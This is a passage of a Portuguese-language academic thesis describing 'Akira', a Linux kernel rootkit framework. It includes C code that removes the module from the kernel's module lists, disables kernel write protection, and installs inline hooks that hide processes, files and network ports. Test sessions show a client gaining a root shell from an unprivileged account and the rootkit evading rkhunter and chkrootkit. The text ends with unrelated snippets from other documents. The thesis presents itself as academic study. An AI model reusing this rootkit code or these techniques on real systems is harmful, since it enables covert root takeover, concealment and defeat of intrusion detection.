mó-dulo do sistema. Ele também pode ser considerado um framework base, tendo como finalidade a criação de rootkits(ring 0).

3.5

Requisitos

Tendo em vista as funcionalidades necessárioas para o funcionamento do rootkit, segue a listagem de requisitos do projeto.

1. Robustez 2. Controle 3. Furtividade 4. Monitoramento 5. Persistência

3.5.1

Robustez

Devido ao fato do rootkit akira ser um LKM a robustez se torna um requisito crítico, pois após ser carregado no kernel qualquer erro causará quebra(kernel panic)(ref) do sistema vigente. Para o sistema voltar ao seu funcionamento o mesmo deverá ser

(33)

reinici-3.5.2

Controle

Deverá prover uma interface de comunicação entre o atacante e o módulo, permitindo que as ações programadas no rootkit sejam acionadas.

3.5.3

Furtividade

Deve se esconder sua presença do gerencimento de módulos do linux, tanto quanto arqui-vos, portas de conexão e processos de forma arbitrária.

3.5.4

Monitoramento

Salvar logs de ações efetudas no sistema e registrar todos os dados entrada fornecidos pelo usuário, como por exemplo os advindos de dispositivos(teclado) de I/O - input/output. Comumente, programas projetados para esse fim são chamados de keylogger.

3.5.5

Persistência

O rootkit deve ser carregado durante o processo de inicialização do sistema, garantir acessibilidade ao atacante (backdoor) e evitar a retirada do LKM do kernel.

(34)

3.6

Arquitetura

Segue abaixo o diagrama de alto nível o qual descreve o projeto Akira.

Figura 3.1: Diagrama de alto nível.

O ponto de entrada do akira(main) interage primeiramente com o hide module, após retirar o akira da lista de módulos e protegê-lo o componente Inline hook engine é convo-cado. Este irá realizar uma sequência de passos: chamará o módulo choose para escolher o hook code; get function address será acionado em seguida para adquirir todos os endere-ços das funções, tanto as funções definidas no rootkit quanto as funções do kernel ao qual será aplicado o hook; a entidade(hook entity) principal será montada no módulo mount; o módulo write receberá a hook entity e o hook code será escrito nas funções alvo.

O módulo command and control serve como uma interface entre o atacante e o rootkit, sendo acionado quando o mesmo desejar.

Tendo como base o diagrama os seguintes componentes serão detalhados a seguir.

3.6.1

hide module

(35)

static inline void module_del(void) { list_del(&THIS_MODULE->list); kobject_del(&THIS_MODULE->mkobj.kobj); list_del(&THIS_MODULE->mkobj.kobj.entry); }

3.6.2

hook entity

Entidade(estrutura) responsável por descrever e guardar os valores necessários para efe-tuar o hook. Essa entidade irá ser passada como parâmetro a diversos módulos.

/* generic hook entity */ typedef struct _hook_t {

/* target function address (kernel function) */ void *target;

/* custom function address (new function) */ void *custom;

/* bridge function address (trampoline function) */ void *bridge;

/* hook code */

uint8_t hook_code[HOOK_CODE_MAX]; /* original code which was stolen */ uint8_t orig_code[ORIG_CODE_MAX]; /* bridge code */

uint8_t bridge_code[BRIDGE_CODE_MAX]; /* hook code size in bytes */

size_t hook_size;

/* original code size in bytes */ size_t orig_size;

/* bridge code size in bytes */ size_t bridge_size;

} hook_t;

3.6.3

hook routine entity

Essa entidade é utilizada para escolher o tipo de hook a ser usado. /* generic hook method entity */

(36)

typedef struct _hook_method_t {

/* the index where will be inserted the custom functions address (one or more) */ uint8_t index[HOOK_INDEX_MAX];

/* indexes number */ uint8_t in;

/* the hook method (jmp, pushret, call, etc..) code */ uint8_t code[HOOK_CODE_MAX];

/* the code size in bytes */ size_t size;

} hook_method_t;

3.6.4

choose

Este módulo recebe como entrada a estrutura hook_method_t e um selecionador. Com esse parâmetros o hook code correto é escolhido, porém esse componente é referente a uma determinada arquitetura, o akira suporta as arquiteturas: arm, intel x86, intel x64.

Código para a arquitetura intel x86 : ...

static const uint8_t *hook_method_table[] = {

"\x68\x00\x00\x00\x00\xc3", // push $addr, ret "\xe9\x00\x00\x00\x00" // jmp $addr };

void _choose_hook_method(hook_method_t *hook_method, hook_type type) { switch(type) { case HOOK_TYPE_X86_PUSH_RET: hook_method->size = 6; hook_method->index[0] = 1; hook_method->in = 1; memcpy(hook_method->code, hook_method_table[type], hook_method->size); break; case HOOK_TYPE_X86_JMP:

(37)

hook_method->size = 5; hook_method->index[0] = 1; hook_method->in = 1; memcpy(hook_method->code, hook_method_table[type], hook_method->size); break; ... } ...

3.6.5

get functions address

Este componente irá adquirir as funções ao qual o hook será efetuado. ...

void *get_vfs_iterate(const char *path) {

void *ret = NULL; struct file *filp;

if ((filp = filp_open(path, O_RDONLY, 0)) != NULL) { ret = filp->f_op->ITERATE_NAME; filp_close(filp, 0); } return ret; } ...

Os procedimentos de interesse ao akira são: • inet_ioctl • proc_readdir • readdir • tcp4_seq_show • tcp6_seq_show • udp4_seq_show • udp6_seq_show

(38)

3.6.6

mount

Receberá a entidade hook_method_t e a partir desta irá montar a entidade hook_t. Todos os códigos necessários e cálculo de offsets para o funcionamento do inline hook serão efetuados nesse módulo.

...

bool mount_hook(hook_t *hook, hook_method_t *hook_method) {

size_t offset = get_offset(hook->target, hook_method->size);

if (offset && ((offset + hook_method->size) < CODE_MAX)) { mount_orig_code(hook, offset);

mount_hook_code(hook, hook_method, offset); mount_bridge_code(hook, hook_method, offset); return true;

}

return false; }

(39)

3.6.7

write

Após a entidade hook_t for montada será escrito nos endereços das funções seus hook

codes referentes.

...

void _write_hook(hook_t *hook) {

list_t *new = NULL; unsigned long cr0 = 0; uint8_t i;

cr0 = disable_wp();

memcpy(hook->target, hook->hook_code, hook->hook_size); restore_wp(cr0);

list_push(hook, &new); }

(40)

3.6.8

hooked function

Cada função descrita na tabela representa um módulo separado, responsável por imple-mentar a lógica relacionada ao funcionamento do rootkit, através da interceptação dos procedimentos originais.

Tabela 3.1: Descrição do hook final

função original função ponte função própria motivação

inet_ioctl brigde_inet_ioctl new_inet_ioctl prover comunicação entre o atacante e o

akira

proc_readdir brigde_proc_readdir new_proc_readdir esconder processos

readdir brigde_readdir new_readdir esconder arquivos e diretórios tcp4_seq_show bridge _tcp4_seq_show new _tcp4_seq_show esconder portas do protocolo tcp/ipv4 tcp6_seq_show bridge _tcp4_seq_show new _tcp4_seq_show esconder portas do protocolo tcp/ipv6 udp4_seq_show bridge _udp4_seq_show new _udp4_seq_show esconder portas do protocolo udp/ipv4 udp6_seq_show bridge _udp6_seq_show new _udp6_seq_show esconder portas do protocolo udp/ipv6

Com exceção da função new_inet_ioctl todas as outras funções interceptadoras(new*) irão acessar uma lista e verificar se o valor de retorno da função original está contido naquela lista, caso seja verdade, esse elemento será suprimido, provendo assim a funcio-nalidade de esconder certos elementos do usuário.

A função new_inet_ioctl recebe os dados vindo do atacante e se comunica com o módulo command and control para efetuar as acões desejadas.

3.6.9

command and control

Os comandos disponiveis são descritos a seguir:

Exec as root

(41)

Hide/Show proc

Adiciona ou retira um identificador de processo(pid) da lista de processos escondidos. Essa lista será verificada pela função interceptadora new_proc_readdir e filtrará todas as entradas encontradas na mesma.

Hide/Show file

Adiciona ou retira um arquivo ou diretório da lista de arquivos escondidos. Essa lista será verificada pela função interceptadora new_readdir e filtrará todas as entradas encontradas na mesma.

Hide/Show tcp/udp port

Adiciona ou retira uma porta de um protocolo especifico da lista de portas escondidas. Essa lista será verificada pela função interceptadora new_*_seq_show e filtrará todas as entradas encontradas na mesma.

(42)

Capítulo 4

Testes

4.1

Testes de funcionalidade

Serão apresentados a seguir os testes das funcinalidade apresentadas ateriormente. Um programa chamado client foi implementado para realizar a intereção com o rootkit akira. A usubilidade do client é listada a paritir do comando help.

$ ./client help [cmd] : help exec hide show <option> : proc file <protocol> <protocol> : tcp4 - tcp ipv4 tcp6 - tcp ipv6 udp4 - udp ipv4 udp6 - udp ipv6

<porttype> :

(43)

destp - destination port

[arg] :

elf - executable path pid - pid number ino - ino number

usage : ./client [cmd] <option> <porttype> [arg] examples : ./client exec /bin/sh

: ./client hide proc 1100 : ./client hide file .blah : ./client show proc 1100 : ./client show file .blah : ./client hide udp6 srcp 11457

4.1.1

Escalar privilégio

O objetivo deste teste é executar um comando no contexto de super usuário(root) a partir de uma conta pouco privilegiada. Com o comando id podemos nos certificar em que privilégio nós encontramos.

user@linux:/tmp/test$ id

uid=1000(user) gid=1000(user) groups=1000(user)

O comando ./client exec irá executar qualquer outro processo no contexto de root. Logo, será passado como parâmetro a interpretador de comandados sh. Sendo assim temos:

user@linux:/tmp/test$./client exec /bin/sh # id

uid=0(root) gid=0(root) groups=0(root) #

Utilizamos o comando id novamente para se certificar que estamos em uma shell com privilegios de root.

4.1.2

Esconder/mostrar um processo

Este teste tem como objetivo esconder um processo, para listar os processos usamos o comando ps aux.

(44)

user@linux:/tmp/test$ ps aux ... root 461 0.0 0.2 4008 2892 tty1 Ss 17:56 0:00 /bin/login --Debian-+ 675 0.0 0.3 9936 3260 ? root 682 0.0 0.4 6500 4596 tty1 root 702 0.0 0.5 10980 5340 ? user 704 0.0 0.3 10980 3272 ? user 705 0.0 0.4 6552 4652 pts/0 root 758 0.0 0.0 0 0 ? S root 773 0.0 0.0 0 0 ? S user 774 0.0 0.2 4772 2404 pts/0 ...

Após a escolha do processo a ser escondido utilizamos o comando ./client hide proc passando como parâmetro o pid do processo alvo(Debian-+).

user@linux:/tmp/test$ ./client hide proc 675 ioctl: Success args.srcp = 0 args.destp = 0 args.pid = 675 args.cmd = 1 args.list = 6 args.i_ino = 0

Para verificar se o processo foi realmente escondido vamos utilizar o mesmo comando

ps aux com o auxilio do grep - um pequeno programa utilizado para filtrar texto. Sendo

assim temos:

user@linux:/tmp/test$ ps aux | grep 675

user 793 0.0 0.2 4556 2136 pts/0 grep 675

Para mostrar novamente o processo escondido na lista de processos, basta executar o comando ./client show proc passando como parâmetro o pid do mesmo.

(45)

ioctl: Success args.srcp = 0 args.destp = 0 args.pid = 675 args.cmd = 2 args.list = 6 args.i_ino = 0

user@linux:/tmp/test$ ps aux | grep 675

Debian-+ 675 0.0 0.3 9936 3260 ? /usr/sbin/exim4 -bd -q30m user 800 0.0 0.2 4556 2328 pts/0 grep 675

user@linux:/tmp/test$

Repetimos o mesmo procedimento de listagem de processos descrito anteriormente para comprovar que o processo está novamente sendo mostrado.

4.1.3

Esconder/mostrar um arquivo

Vamos agora esconder um determinado arquivo. Primeiro vamos listar os arquivos do diretório /tmp com o comando ls -lai a opção -i mostra os identificador único de um arquivo/diretório.

user@linux:/tmp/test$ ls -lai total 20

147230 drwxr-xr-x 2 user user 4096 Aug 8 18:06 . 131073 drwxrwxrwt 8 root root 4096 Aug 8 18:17 ..

147232 -rwxr-xr-x 1 user user 9116 Aug 8 18:06 client 147231 -rw-r--r-- 1 user user 0 Aug 8 17:59 hideme

Para esconder o arquivo(hideme) utilizamos o comando ./client hide file passando como parâmetro seu identificador único(147231).

user@linux:/tmp/test$ ./client hide file 147231 ioctl: Success

args.srcp = 0 args.destp = 0 args.pid = 0

(46)

args.cmd = 3 args.list = 6 args.i_ino = 147231

Listamos novamente os arquivos para compravar que o mesmo foi escondido. user@linux:/tmp/test$ ls -lai

total 20

147230 drwxr-xr-x 2 user user 4096 Aug 8 18:06 . 131073 drwxrwxrwt 8 root root 4096 Aug 8 18:17 .. 147232 -rwxr-xr-x 1 user user 9116 Aug 8 18:06 client user@linux:/tmp/test$

Para mostrar o arquivo(hideme) utilizamos o comando ./client show file passando como parâmetro o seu identificador único(147231).

user@linux:/tmp/test$ ./client show file 147231 ioctl: Success args.srcp = 0 args.destp = 0 args.pid = 0 args.cmd = 4 args.list = 6 args.i_ino = 147231

Repetimos o procedimento de listagem para demonstrar que o arquivo pode ser visto normalmente.

user@linux:/tmp/test$ ls -lai total 20

147230 drwxr-xr-x 2 user user 4096 Aug 8 18:06 . 131073 drwxrwxrwt 8 root root 4096 Aug 8 18:17 ..

147232 -rwxr-xr-x 1 user user 9116 Aug 8 18:06 client 147231 -rw-r--r-- 1 user user 0 Aug 8 17:59 hideme user@linux:/tmp/test$

(47)

4.1.4

Esconder/mostrar portas de conexão

Para esconder uma porta utilizamos o comando ./client hide passando como parâmetro o protocolo, se a porta em questão é de destino ou de origem(srcp, destp) e o número da porta como parâmetros. Sendo assim, iremos listar as conexões abertas com o comando

netstat -t.

user@linux:/tmp/test$ netstat -t

Active Internet connections (w/o servers)

Proto Recv-Q Send-Q Local Address Foreign Address State

tcp 0 0 192.168.2.141:ssh 192.168.2.123:41154 ESTABLISHED ...

O comando a ser utilizado nesse caso é: ./client hide tcp4 srcp 22. user@linux:/tmp/test$ ./client hide tcp4 srcp 22

ioctl: Success args.srcp = 22 args.destp = 0 args.pid = 0 args.cmd = 5 args.list = 2 args.i_ino = 0

Usamos novamente o comando netstat -t para listar as conexões e averiguar se a mesma foi escondida.

user@linux:/tmp/test$ netstat -t

Active Internet connections (w/o servers)

Proto Recv-Q Send-Q Local Address Foreign Address State Para mostrar a conexão escondida revertendo o processo anterior usamos o comando

./client show tcp4 srcp 22.

user@linux:/tmp/test$ ./client show tcp4 srcp 22 ioctl: Success

args.srcp = 22 args.destp = 0

(48)

args.pid = 0 args.cmd = 6 args.list = 2 args.i_ino = 0

Repetindo o processo de listagem das conexões, temos: user@linux:/tmp/test$ netstat -t

Active Internet connections (w/o servers)

Proto Recv-Q Send-Q Local Address Foreign Address State

tcp 0 0 192.168.2.141:ssh 192.168.2.123:41154 ESTABLISHED user@linux:/tmp/test$

4.1.5

Módulo escondido e protegido

Primeiro vamos carregar o módulo utilizando o comando insmod se certificar que o mesmo está rodando.

root@linux:/home/user/core# insmod akira.ko root@linux:/home/user/core# dmesg | grep akira ...

[ 3220.340978] akira : main() :: is alive. ...

Certo, agora vamos tentar listar as funções do akira atráves do comando cat

/proc/-kallsyms | grep akira e retirar o módulo utilizando o comando rmmod passando como

parâmetro o nome do módulo.

root@linux:/home/user/core# cat /proc/kallsyms | grep akira root@linux:/home/user/core# rmmod akira

rmmod: ERROR: Module akira is not currently loaded root@linux:/home/user/core# exit

user@linux:/tmp/test$ ./client exec /bin/sh # id

uid=0(root) gid=0(root) groups=0(root) #

O comando ./client exec /bin/sh(descrito na seção Escalar privilégio) foi usado apenas para garantir a existência do akira no sistema.

(49)

4.2

Testes de evasão

Para testar a detectabilidade do akira iremos utilizar os programas rkhunter e chkrootkit, projetados para encontrar rootkits em um sistema infectado.

4.2.1

rkhunter

Para utilizar o rkhunter basta utilizar o comando rkhunter –check, sua saída(simplificada) é apresentada a seguir.

root@linux:/tmp# rkhunter --check ...

System checks summary =====================

File properties checks... Files checked: 145 Suspect files: 0 Rootkit checks... Rootkits checked : 379 Possible rootkits: 0 Applications checks... All checks skipped

The system checks took: 43 seconds

All results have been written to the log file: /var/log/rkhunter.log

One or more warnings have been found while checking the system. Please check the log file (/var/log/rkhunter.log)

...

Contudo, akira ainda se econtra no sistema, confirmamos essa afirmação escalando privilégio, descrito a seguir.

root@linux:/tmp/test# exit

(50)

# id

uid=0(root) gid=0(root) groups=0(root) #

4.2.2

chkrootkit

Para utilizar o chkrootkit basta utilizar o comando chkrootkit, sua saída pode ser visa a seguir.

root@linux:/tmp/test# chkrootkit ...

Searching for ENYELKM rootkit default files... nothing found Searching for common ssh-scanners default files... nothing found Searching for Linux/Ebury - Operation Windigo ssh... nothing found Searching for 64-bit Linux Rootkit ... nothing found Searching for 64-bit Linux Rootkit modules... nothing found Searching for suspect PHP files... nothing found Searching for anomalies in shell history files... nothing found

Checking ‘asp’... not infected

Checking ‘bindshell’... not infected

Checking ‘lkm’... chkproc: nothing detected chkdirs: nothing detected

Checking ‘rexedcs’... not found

Checking ‘sniffer’... lo: not promisc Checking ‘w55808’... not infected

Checking ‘wted’... chkwtmp: nothing deleted Checking ‘scalper’... not infected

Checking ‘slapper’... not infected

Checking ‘z2’... cklastlog: nothing deleted Checking ‘chkutmp’... chkutmp: nothing deleted Checking ‘OSX_RSPLUG’... not infected

(51)

Contudo, akira ainda se econtra no sistema, confirmamos essa afirmação escalando privilégio, descrito a seguir.

root@linux:/tmp/test# exit

user@linux:/tmp/test$ ./client exec /bin/sh # id

uid=0(root) gid=0(root) groups=0(root) #

(52)

Capítulo 5

Conclusão

No início deste documento, capítulo um, uma breve introdução foi apresentada e os obje-tivos do trabalho definidos. No capítulo dois, os conceitos teóricos relacionados a rootkits foram explicados, tendo como foco seus requisitos técnicos. Um framework foi implemen-tado para auxiliar a construção desse tipo particular de malware, com propósito extrita-mente acadêmico, e as suas funcionalidades foram detalhadas no capítulo três, logo com esse entendimento podemos escrever diversos rootkits e identificar suas metodologias de ataque ao sistema operacional linux. Através dos testes efetuados no capítulo quatro, suas funcionalidades foram comprovadas e como consequência os objetivos descritos no primeiro capítulo cumpridos.

Pesquisas sobre novas técnicas de hook com o foco de tonar o malware mais furtivo serão realizadas em trabalhos futuros.

(53)

Referências

[1] Introduction to linux loadable kernel modules. http://www.tldp.org/HOWTO/Module-HOWTO/x73.html. 17, 19

[2] ld.so, ld-linux.so* - dynamic linker/loader. http://man7.org/linux/man-pages/man8/ld.so.8.html. man-pages. 16

[3] Writing a linux kernel module — part 1: Introduction. http://derekmolloy.ie/writing-a-linux-kernel-module-part-1-introduction/. 18

[4] Jurriaan Bremer. x86 api hooking demystified. http://jbremer.org/x86-api-hooking-demystified/, jul 2012. 11, 12

[5] Greg Hoglund; Jamie Butler. Rootkits: Subverting the Windows Kernel Paperback. Addison-Wesley Professional, 2005. 5

[6] Michael Coppola. Suterusu rootkit: Inline kernel function hooking on x86 and arm. https://poppopret.org/2013/01/07/suterusu-rootkit-inline-kernel-function-hooking-on-x86-and-arm/, jan 2013. 15

[7] Emilio Tissato; Paulo Licio de Geus. Segurança em redes cooperativos. Novatec, first edition, 2007. 6

[8] Gustavo Duarte. Cpu rings, privilege, and protection. http://duartes.org/gustavo/blog/post/cpu-rings-privilege-and-protection, aug 2008. 8

[9] Erickson. Hacking: The Art of Exploitation. No Starch Press, second edition, feb 2008. 6

[10] Fluxius. The magic of ld_preload for userland rootkits. http://fluxius.handgrep.se/2011/10/31/the-magic-of-ld_preload-for-userland-rootkits/, oct 2011. 16

[11] Richard Gooch. Overview of the linux virtual file system. https://www.kernel.org/doc/Documentation/filesystems/vfs.txt, jan 2007. 19, 20

[12] Intel. Intel 64 and IA-32 Architectures Software Developer’s Manual. Volume 3A:R

(54)

[13] Dimitar Kostadinov. The cyber exploitation life cycle. http://resources.infosecinstitute.com/the-cyber-exploitation-life-cycle/, mar 2013. 5 [14] Jonathan Corbet; Alessandro Rubini; Greg Kroah-Hartmans. Linux Device Drivers

Linux Device Drivers. O’Reilly Media, 2005. 17

[15] Gordon Fyodor Lyon. Nmap Network Scanning: The Official Nmap Project Guide

to Network Discovery and Security Scanning. Nmap Project, jan 2009. 5

[16] MalwareTech. Inline hooking for programmers. http://www.malwaretech.com/2015/01/inline-hooking-for-programmers-part-1.html, jan 2015. 12

[17] mayhem. Ia32 advanced function hooking. http://phrack.org/issues/58/8.html, dec 2001. 11

[18] mcafee. Rootkits, part 1 of 3: The growing threat, 2006. 5

[19] microsoft. Definition and explanation of a .dll file. https://support.microsoft.com/en-us/kb/87934. 15

[20] microsoft. Dynamic-link library search order. https://msdn.microsoft.com/en-us/library/windows/desktop/ms682586(v=vs.85).aspx. 15

[21] mxatone e ivanlef0u. Stealth hooking : Another way to subvert the windows kernel. http://phrack.org/issues/65/4.html, 2008. 11

[22] Dr. Prof. Carlos A. Maziero. Sistemas Operacionais: Conceitos e Mecanismos. open book, aug 2014. 8

[23] Felix Lindner; Gerardo Richarte. The Shellcoder’s Handbook: Discovering and

Ex-ploiting Security Holes. Wiley, second edition, aug 2007. 6

[24] Julian Ryall. Tokyo homeless woman lived in stranger’s cupboard for a year. http://www.telegraph.co.uk/news/newstopics/howaboutthat/2054057/Homeless-woman-comes-out-of-closet.html, may 2008. 2

[25] Asim Kadav; Michael M. Swift. Understanding modern device drivers. http://pages.cs.wisc.edu/ kadav/study/study.pdf. University of Wisconsin-Madison. 17

Referências

Documentos relacionados

De uma forma geral as medições efectuadas pelo sensor ASAR apresentam uma qualidade aceitável para a avaliação do recurso energético das ondas marítimas l como se pode

Então se esse requisito obrigatório não for legível, abre um leque de probabilidades para uma interpretação errada do profissional, podendo acarretar graves danos à saúde

A partir das análises realizadas no que tange às articulações entre processo formativo que enfatizou a ressignificação e aplicação, inferimos que a aplicação da SEA replanejada no

Analysis of relief and toponymy of the landscape based on the interpretation of the military topographic survey: Altimetry, Hypsometry, Hydrography, Slopes, Solar orientation,

A assistência da equipe de enfermagem para a pessoa portadora de Diabetes Mellitus deve ser desenvolvida para um processo de educação em saúde que contribua para que a

servidores, software, equipamento de rede, etc, clientes da IaaS essencialmente alugam estes recursos como um serviço terceirizado completo...

Por último, temos o vídeo que está sendo exibido dentro do celular, que é segurado e comentado por alguém, e compartilhado e comentado no perfil de BolsoWoman no Twitter. No

Fonte: IDC, 2015 (Inquérito a 467 organizações portuguesas que possuem alguma presença na Internet)..